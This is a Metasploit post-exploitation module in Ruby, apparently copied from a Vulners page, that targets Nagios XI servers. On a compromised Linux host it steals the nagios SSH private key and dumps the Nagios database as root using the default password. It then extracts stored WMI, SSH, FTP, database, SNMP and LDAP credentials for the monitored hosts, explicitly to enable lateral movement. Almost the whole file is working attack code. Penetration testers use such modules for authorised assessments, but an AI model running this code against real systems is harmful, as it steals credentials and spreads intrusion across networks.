##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Linux::System
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Nagios XI Enumeration',
'Description' => %q{
NagiosXI may store credentials of the hosts it monitors. This module extracts these credentials,
creating opportunities for lateral movement.
},
'License' => MSF_LICENSE,
'Author' => [
'Cale Smith', # @0xC413
],
'DisclosureDate' => '2018-04-17',
'Platform' => 'linux',
'SessionTypes' => ['shell', 'meterpreter']
}
)
)
register_options([
OptString.new('DB_ROOT_PWD', [true, 'Password for DB root user, an option if they change this', 'nagiosxi' ])
])
end
# save found creds in the MSF DB for easy use
# , login)
def report_obj(cred, login)
return if cred.nil? || login.nil?
credential_data = {
origin_type: :session,
post_reference_name: fullname,
session_id: session_db_id,
workspace_id: myworkspace_id
}.merge(cred)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
workspace_id: myworkspace_id
}.merge(login)
create_credential_login(login_data)
end
# parse out domain realm for windows services
def parse_realm(username)
userealm = username.split('/')
if userealm.count > 1
realm = userealm[0]
username = userealm[1]
credential_data = {
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: realm,
username: username
}
else
credential_data = {
username: username
}
end
return credential_data
end
def run
@peer = "#{session.session_host}:#{session.session_port}"
@creds = []
@ssh_keys = []
# get nagios SSH private key
id_rsa_path = '/home/nagios/.ssh/id_rsa'
if file?(id_rsa_path)
print_good('Attempting to grab Nagios SSH key')
ssh_key = read_file(id_rsa_path)
ssh_key_loot = store_loot(
'nagios_ssh_priv_key',
'text/plain',
session,
ssh_key,
nil
)
print_status("Nagios SSH key stored in #{ssh_key_loot}")
else
print_status('No SSH key found')
end
print_status('Attempting to dump Nagios DB')
db_dump_file = "/tmp/#{Rex::Text.rand_text_alpha(6)}"
sql_query = %(mysql -u root -p#{datastore['DB_ROOT_PWD']} -e ")
sql_query << %|SELECT nagios_services.check_command_object_id, nagios_hosts.address, REPLACE(nagios_services.check_command_args,'\\"','%22') FROM nagios.nagios_hosts |
sql_query << %(INNER JOIN nagios.nagios_services on nagios_hosts.host_object_id=nagios_services.host_object_id )
sql_query << %(INNER JOIN nagios.nagios_commands on nagios_commands.object_id = nagios_services.check_command_object_id )
sql_query << %(WHERE nagios_services.check_command_object_id!=89 )
sql_query << %(ORDER BY nagios_services.check_command_object_id )
sql_query << %(INTO OUTFILE '#{db_dump_file}' FIELDS TERMINATED BY ',' ENCLOSED BY '\\"' LINES TERMINATED BY '\\n' ;")
out = cmd_exec(sql_query)
if out.match(/error/i)
print_error("Could not get DB contents: #{out.gsub(/\n/, ' ')}")
return
else
db_dump = read_file(db_dump_file)
print_good('Nagios DB dump successful')
# store raw db results, there is likely good stuff in here that we don't parse out
db_loot = store_loot(
'nagiosxi_raw_db_dump',
'text/plain',
session,
db_dump,
nil
)
print_status("Raw Nagios DB dump #{db_loot}")
print_status("Look through the DB dump manually. There could be\ some good loot we didn't parse out.")
end
CSV.parse(db_dump) do |row|
case row[0]
when '110' # WMI
host = row[1]
creds = row[2].split('!')
username = creds[0].match(/'(.*?)'/)[1]
password = creds[1].match(/'(.*?)'/)[1]
user_credential_data = parse_realm(username)
credential_data = {
private_data: password,
private_type: :password
}.merge(user_credential_data)
login_data = {
address: host,
port: 135,
service_name: 'WMI',
protocol: 'tcp'
}
when '59' # SSH
host = row[1]
credential_data = {
username: 'nagios',
private_data: ssh_key,
private_type: :ssh_key
}
login_data = {
address: host,
port: 22,
service_name: 'SSH',
protocol: 'tcp'
}
when '25' # FTP
host = row[1]
creds = row[2].split('!')
username = creds[0]
password = creds[1]
credential_data = {
username: username,
private_data: password,
private_type: :password
}
login_data = {
address: host,
port: 21,
service_name: 'FTP',
protocol: 'tcp'
}
when '67' # MYSQL
host = row[1]
username = row[2].match(/--username=(.*?)\s/)[1]
password = row[2].match(/--password=%22(.*?)%22/)[1]
credential_data = {
username: username,
private_data: password,
private_type: :password
}
login_data = {
address: host,
port: 3306,
service_name: 'MySQL',
protocol: 'tcp'
}
when '66' # MSSQL
host = row[1]
username = row[2].match(/-U '(.*?)'/)[1]
password = row[2].match(/-P '(.*?)'/)[1]
user_credential_data = parse_realm(username)
credential_data = {
private_data: password,
private_type: :password
}.merge(user_credential_data)
login_data = {
address: host,
port: 1433,
service_name: 'MSSQL',
protocol: 'tcp'
}
when '76' # POSTGRES
host = row[1]
username = row[2].match(/--dbuser=(.*?)\s/)[1]
password = row[2].match(/--dbpass=%22(.*?)%22/)[1]
credential_data = {
username: username,
private_data: password,
private_type: :password
}
login_data = {
address: host,
port: 5432,
service_name: 'PostgreSQL',
protocol: 'tcp'
}
when '85' # SNMP
host = row[1]
creds = row[2].split('!')
password = ' '
username = creds[0]
port = 161
credential_data = {
username: username,
private_data: password,
private_type: :password
}
login_data = {
address: host,
port: 161,
service_name: 'SNMP',
protocol: 'udp'
}
when '88' # LDAP
host = row[1]
username = row[2].match(/-D %22(.*?)%22/)[1]
password = row[2].match(/-P %22(.*?)%22/)[1]
credential_data = {
username: username,
private_data: password,
private_type: :password
}
login_data = {
address: host,
port: 389,
service_name: 'LDAP',
protocol: 'tcp'
}
else
# base case
end
unless credential_data.nil? || login_data.nil?
report_obj(credential_data, login_data)
end
end
print_status("Run 'creds' to see credentials loaded into the MSF DB")
# cleanup db dump
register_file_for_cleanup(db_dump_file)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation